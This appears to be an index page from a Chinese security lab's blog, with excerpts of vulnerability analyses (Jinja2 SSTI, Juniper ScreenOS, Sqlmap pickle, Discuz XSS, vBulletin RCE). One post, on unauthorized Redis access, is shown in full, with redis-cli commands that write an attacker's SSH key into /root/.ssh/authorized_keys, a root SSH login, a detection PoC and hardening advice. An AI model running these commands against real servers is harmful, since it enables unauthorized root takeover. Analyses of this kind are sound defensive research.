-
利用 Python 特性在 Jinja2 模板中执行任意代码
Author: RickGray (404安全实验室)
Date: 2016-02-16
本文源于老外 @nvisium 在其博客发表的博文 《Injecting Flask》，在原文中作者讲解了 Python 模板引擎 Jinja2 在服务端模板注入 (SSTI) 中的具体利用方法，在能够控制模板内容时利用环境变量中已注册的用户自定义函数进行恶意调用或利用渲染进行 XSS 等。
对于 Jinja2 模板引擎是否能够在 SSTI 的情况下直接执行命令原文并没有做出说明，并且在 Jinja2 官方文档中也有说明，模板中并不能够直接执行任意 Python 代码，这样看来在 Jinja2 中直接控制模板内容来执行 Python 代码或者命令似乎不太可能。
一、模板中复杂的代码执行方式
2 Comments -
VxWorks Fuzzing 之道：VxWorks工控实时操作系统漏洞挖掘调试与利用揭秘
Author：知道创宇404安全实验室
一、前言
关于VxWorks，这里引用44CON议题《攻击 VxWorks：从石器时代到星际》探究 一文章中的介绍：
VxWorks 是世界上使用最广泛的一种在嵌入式系统中部署的实时操作系统，是由美国WindRiver公司（简称风河公司，即WRS 公司）于1983年设计开发的。其市场范围跨越所有的安全关键领域，仅举几例，包括火星好奇心流浪者、波音787梦幻客机、网络路由器。这些应用程序的安全高危性质使得VxWorks的安全被高度关注。
VxWorks操作系统是由美国Wind River(风河公司)开发的一种嵌入式实时操作系统（RTOS），已宣称拥有至少15亿台设备，VxWorks支持几乎所有现代市场上的嵌入式CPU架构，包括x86系列、MIPS、 PowerPC、Freescale ColdFire、Intel i960、SPARC、SH-4、ARM, StrongARM以及xScale CPU。
在2015年9月9日-11日举办的44CON伦敦峰会中，Yannick Formaggio介绍了他对VxWorks进行深入安全研究的方法，他采用了Fuzzing框架Sulley对VxWorks系统的多个协议进行了Fuzzing，挖掘到一些漏洞，并结合VxWorks的WDB RPC实现了一个远程调试器，进行了相关调试分析。
其中很多实现及漏洞细节没有公开，我们搭建了VxWorks 5.5及VxWorks 6.6的x86虚拟环境，参照Formaggio的方法，对VxWorks进行了初步的安全研究，本文将对相关研究细节及结果进行介绍。 Read More »
-
Juniper ScreenOS CVE-2015-7755 & CVE-2015-7756 Analysis
Author: xiaohu & mt (知道创宇404安全实验室)
Date: 2015-12-23
Juniper 网络公司（瞻博网络）作为全球领先的联网和安全性解决方案供应商，Juniper 网络公司对依赖网络获得战略性收益的客户一直给予密切关注。公司的客户来自全球各行各业，包括主要的网络运营商、企业、政府机构以及研究和教育机构等。Juniper 网络公司推出的一系列联网解决方案，提供所需的安全性和性能来支持全球最大型、最复杂、要求最严格的关键网络。
Juniper 网络公司在上周发表声明，称 NetScreen 与 Juniper SSG 防火墙产品使用的操作系统 Juniper ScreenOS 中发现两个高危漏洞：CVE-2015-7755 和 CVE-2015-7756。前者描述的是 Juniper ScreenOS 中的一个身份认证绕过漏洞，而后者涉及设备 VPN 加密伪随机密钥可被破解的漏洞。 Read More »
-
Sqlmap 代码执行漏洞报告
Author: Nixawk (知道创宇404安全实验室)
Date: 2015-12-09
一、漏洞概述
于2015年01月27日， 我在阅读最新版本Sqlmap代码时，发现其存在代码执行问题。安全问题由python的pickle导致。
pickle 模块实现了一个基础而强劲的算法，用于序列化和反序列化Python对象结构，常用于跨平台及网络应用。在进行反序列化操作时，pickle会执行精心构造的python代码。
-
Discuz 20150609 版本存储 XSS 漏洞修复绕过报告
Author: RickGray (知道创宇404安全实验室)
Date: 2015-12-09
之前（2015-03-07）乌云上报了《Discuz全版本存储型DOM XSS（可打管理员）附Discuz官方开发4大坑&验证脚本》，但是在 Discuz版本（2015-06-09）的修复中却因为修复不全导致漏洞仍然可以触发。
一、原理分析
Discuz 在用户评论处设置了帖子管理员编辑评论的功能，由于前端 JS 代码处理不当导致了经过恶意构造的评论内容在经过交互后形成 XSS 。下面通过 payload 的调试过程来解释该漏洞的形成过程。
-
从反序列化到命令执行 – Java 中的 POP 执行链
Author: RickGray (知道创宇404安全实验室)
Date: 2015-11-25
一、什么是序列化
序列化常用于将程序运行时的对象状态以二进制的形式存储于文件系统中，然后可以在另一个程序中对序列化后的对象状态数据进行反序列化恢复对象。简单的说就是可以基于序列化数据实时在两个程序中传递程序对象。
1. Java 序列化示例
-
CVE-2015-8213: Django settings leak possibility in date template filter
Author: evi1m0 (知道创宇404安全实验室)
Date : 2015-11-26近日 Django 官方发布《Security releases issued: 1.9rc2, 1.8.7, 1.7.11》安全公告，修复一个模板层 date 过滤器可能导致 Settings 信息泄露漏洞，从公告中我们可以看到的细节如下：
If an application allows users to specify an unvalidated format for dates and passes this format to the date filter, e.g. {{ lastupdated|date:userdateformat }}, then a malicious user could obtain any secret in the application's settings by specifying a settings key instead of a date format. e.g. "SECRETKEY" instead of "j/m/Y".
-
Redis 未授权访问配合 SSH key 文件利用分析
Date: 2015-11-11
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。
Redis 未授权访问的问题是一直存在的问题，知道创宇安全研究团队历史上也做过相关的应急，今日，又出现 Redis 未授权访问配合 SSH key 文件被利用的情况，导致一大批 Redis 服务器被黑，今天我们来简要的分析下。
一、漏洞概述
Redis 默认情况下，会绑定在 0.0.0.0:6379，这样将会将 Redis 服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法，可以成功在 Redis 服务器上写入公钥，进而可以使用对应私钥直接登录目标服务器。
1、漏洞描述
Redis 安全模型的观念是: “请不要将 Redis 暴露在公开网络中, 因为让不受信任的客户接触到 Redis 是非常危险的” 。
Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99% 使用 Redis 的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。
因为其他受信任用户需要使用 Redis 或者因为运维人员的疏忽等原因，部分 Redis 绑定在 0.0.0.0:6379，并且没有开启认证（这是Redis 的默认配置），如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，将会导致 Redis 服务直接暴露在公网上，导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。
利用 Redis 自身的提供的 config 命令，可以进行写文件操作，攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中，进而可以直接使用对应的私钥登录目标服务器。
2、漏洞影响
Redis 暴露在公网（即绑定在0.0.0.0:6379，目标IP公网可访问），并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。
通过ZoomEye 的搜索结果显示，有97707在公网可以直接访问的Redis服务。
根据 ZoomEye 的探测，全球无验证可直接利用Redis 分布情况如下：
全球无验证可直接利用Redis TOP 10国家与地区：
3、漏洞分析与利用
首先在本地生产公私钥文件：
1$ssh-keygen –t rsa
然后将公钥写入 foo.txt 文件
1$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt再连接 Redis 写入文件
1234567891011$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit$ redis-cli -h 192.168.1.11$ 192.168.1.11:6379> config set dir /root/.ssh/OK$ 192.168.1.11:6379> config get dir1) "dir"2) "/root/.ssh"$ 192.168.1.11:6379> config set dbfilename "authorized_keys"OK$ 192.168.1.11:6379> saveOK
这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里，然后攻击者直接执行：
1$ ssh –i id_rsa root@192.168.1.11即可远程利用自己的私钥登录该服务器。
当然，写入的目录不限于 /root/.ssh 下的authorized_keys，也可以写入用户目录，不过 Redis 很多以 root 权限运行，所以写入 root 目录下，可以跳过猜用户的步骤。
4、Redis 未授权的其他危害与利用
a）数据库数据泄露
Redis 作为数据库，保存着各种各样的数据，如果存在未授权访问的情况，将会导致数据的泄露，其中包含保存的用户信息等。
b）代码执行
Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下 一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的.
通过Lua代码攻击者可以调用 redis.sha1hex() 函数，恶意利用 Redis 服务器进行 SHA-1 的破解。
c）敏感信息泄露
通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫。
可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。
5、漏洞验证
可以使用Pocsuite（http://github.com/knownsec/pocsuite）执行以下的代码可以用于测试目标地址是否存在未授权的Redis服务。
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859#!/usr/bin/env python# -*- coding:utf-8 -*-import socketimport urlparsefrom pocsuite.poc import POCBase, Outputfrom pocsuite.utils import registerclass TestPOC(POCBase):vulID = '89339'version = '1'author = ['Anonymous']vulDate = '2015-10-26'createDate = '2015-10-26'updateDate = '2015-10-26'references = ['http://sebug.net/vuldb/ssvid-89339']name = 'Redis 未授权访问 PoC'appPowerLink = 'http://redis.io/'appName = 'Redis'appVersion = 'All'vulType = 'Unauthorized access'desc = '''redis 默认不需要密码即可访问，黑客直接访问即可获取数据库中所有信息，造成严重的信息泄露。'''samples = ['']def _verify(self):result = {}payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a's = socket.socket()socket.setdefaulttimeout(10)try:host = urlparse.urlparse(self.url).netlocport = 6379s.connect((host, port))s.send(payload)recvdata = s.recv(1024)if recvdata and 'redis_version' in recvdata:result['VerifyInfo'] = {}result['VerifyInfo']['URL'] = self.urlresult['VerifyInfo']['Port'] = portexcept:passs.close()return self.parse_attack(result)def _attack(self):return self._verify()def parse_attack(self, result):output = Output(self)if result:output.success(result)else:output.fail('Internet nothing returned')return outputregister(TestPOC)二、安全建议
- 配置bind选项，限定可以连接Redis服务器的IP，修改 Redis 的默认端口6379
- 配置认证，也就是AUTH，设置密码，密码会以明文方式保存在Redis配置文件中
- 配置rename-command 配置项 “RENAME_CONFIG”，这样即使存在未授权访问，也能够给攻击者使用config 指令加大难度
- 好消息是Redis作者表示将会开发”real user”，区分普通用户和admin权限，普通用户将会被禁止运行某些命令，如config
三、参考链接
- http://www.sebug.net/vuldb/ssvid-89339
- http://antirez.com/news/96
- http://www.secpulse.com/archives/5366.html
- http://www.sebug.net/vuldb/ssvid-89715
-
HTML5 Upload Folder With Webkitdirectory – Phishing
Author: Evi1m0 (知道创宇404安全实验室)
Date: 2015-11-09
Webkitdirectory
早在 12 年 Alan Layt 便写了这篇关于 HTML5 中上传文件夹新特性的文章（http://sapphion.com/2011/11/21/html5-folder-upload-with-webkitdirectory/），之后阿里做了个简单的 Demo 页面来说明这个特性配合 ClickJacking 是可以达到某种钓鱼效果的（https://security.alibaba.com/blog/blog.htm?spm=0.0.0.0.IYip0H&id=3），基于前面两篇文章这里做了简单的 Demo 分享一下。
-
unserialize() 实战之 vBulletin 5.x.x 远程代码执行
Author: RickGray (知道创宇404安全实验室)
Date: 2015-11-06
近日，vBulletin 的一枚 RCE 利用和简要的分析被曝光，产生漏洞的原因源于 vBulletin 程序在处理 Ajax API 调用的时候，使用
unserialize()对传递的参数值进行了反序列化操作，导致攻击者使用精心构造出的 Payload 直接导致代码执行。关于 PHP 中反序列化漏洞的问题可以参考 OWASP 的《PHP Object Injection》。使用 原文 提供的 Payload 可以直接在受影响的站点上执行 phpinfo(1) ：
更好更安全的互联网
